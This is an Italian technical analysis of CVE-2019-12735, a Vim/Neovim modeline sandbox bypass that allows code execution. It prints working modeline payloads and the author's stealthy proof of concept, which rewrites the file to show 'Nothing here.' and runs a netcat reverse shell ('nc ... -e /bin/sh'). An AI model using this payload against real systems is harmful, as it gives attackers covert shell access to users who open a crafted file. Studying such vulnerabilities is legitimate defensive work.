
Analisi tecnica dettagliata e proof-of-concept per CVE-2019-12735, una vulnerabilità di esecuzione arbitraria di codice in Vim/Neovim tramite bypass della sandbox modeline, incluso sfruttamento della reverse shell.
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim nelle versioni precedenti alla 8.1.1365 e Neovim nelle versioni precedenti alla 0.3.6 hanno una vulnerabilità che permette una facile esecuzione arbitraria di codice tramite modeline quando si apre un file di testo con contenuti speciali.
La modeline è una funzionalità abilitata per impostazione predefinita, applicata a tutti i tipi di file, inclusi i file .txt, per trovare e applicare/eseguire automaticamente un insieme di opzioni menzionate dal creatore del file all'inizio e alla fine del file. Ecco una riga di comando modeline tipica:
/* vim: set textwidth=80 tabstop=8: */
Per aumentare la sicurezza, solo un sottoinsieme di opzioni è permesso per l'applicazione/esecuzione nelle modeline e se il valore dell'opzione contiene un'espressione, verrà eseguita in una sandbox:
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
La sandbox aiuta a prevenire effetti collaterali.
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
Tuttavia, il comando :source! (con [!] dopo) può essere usato per bypassare la sandbox. Costringe vim a leggere ed eseguire i comandi da un determinato file come se fossero digitati manualmente in vim, eseguendoli dopo l'uscita dalla sandbox. Questo crea la vulnerabilità che consente l'esecuzione arbitraria di codice tramite vim.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
Dalla vulnerabilità di cui sopra, si può costruire una modeline per eseguire codice al di fuori della sandbox:
# vim: set foldexpr=execute('\:source! some_file'):
Possiamo anche usare assert_fails() per sostituire execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Aggiungi dopo source! il carattere % per eseguire il file corrente, l'esempio seguente eseguirà rispettivamente uname -a || "(garbage)" come comando shell:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Inoltre, la funzione nvim_input() è solo per sfruttare la vulnerabilità su Neovim ed è usata come nell'esempio seguente:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
L'autore ha presentato un PoC che consente di creare una reverse shell, utilizzando il carattere Esc per nascondere il contenuto quando il lettore apre il file, scrivendo nuovo contenuto al suo interno.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Quello sopra è un PoC dell'autore, ma per renderlo più comprensibile per il lettore, rimuoveremo alcune parti di quel PoC:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Quando si apre vim, la funzionalità modeline controlla l'inizio e la fine del file per trovare la direttiva modeline (qui 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'), una volta trovata, esegue la direttiva. Come spiegato sopra sul funzionamento delle modeline, il comando source! % eseguirà il file corrente come se ne stessimo digitando il contenuto manualmente in vim.
Prima esegue la stringa "\x1bSNothing here.\x1b:silent! w ". Se hai usato vim, saprai che per entrare nella modalità command in vim, basta premere il tasto Esc, che ha valore 0x1b, ecco perché all'inizio del PoC sopra c'è 0x1b per entrare nella modalità command in vim.
Una volta entrati in modalità command, se premiamo il tasto S, il contenuto della riga corrente viene cancellato e si torna in modalità insert, quindi il carattere successivo è S per cancellare il contenuto del file PoC e creare nuovo contenuto.
A questo punto il testo "Nothing here." viene inserito nel file, seguito dal carattere Esc per rientrare in modalità command e la stringa di comando :silent! w per salvare il nuovo testo ("Nothing here.") nel file senza mostrare alcun messaggio a schermo.
Dopo aver salvato il file, continua eseguendo il comando call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') e i comandi successivi per la reverse shell. L'ultimo comando - silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n, a questo punto dopo silent! c'è il simbolo #, che vim interpreta come un commento quindi non viene eseguito.
Pertanto, quando l'utente apre il PoC sopra con vim/neovim, l'attaccante ottiene la shell dell'utente senza che l'utente se ne accorga, perché all'utente viene mostrata solo la riga di testo "Nothing here." appena scritta tramite la funzionalità modeline.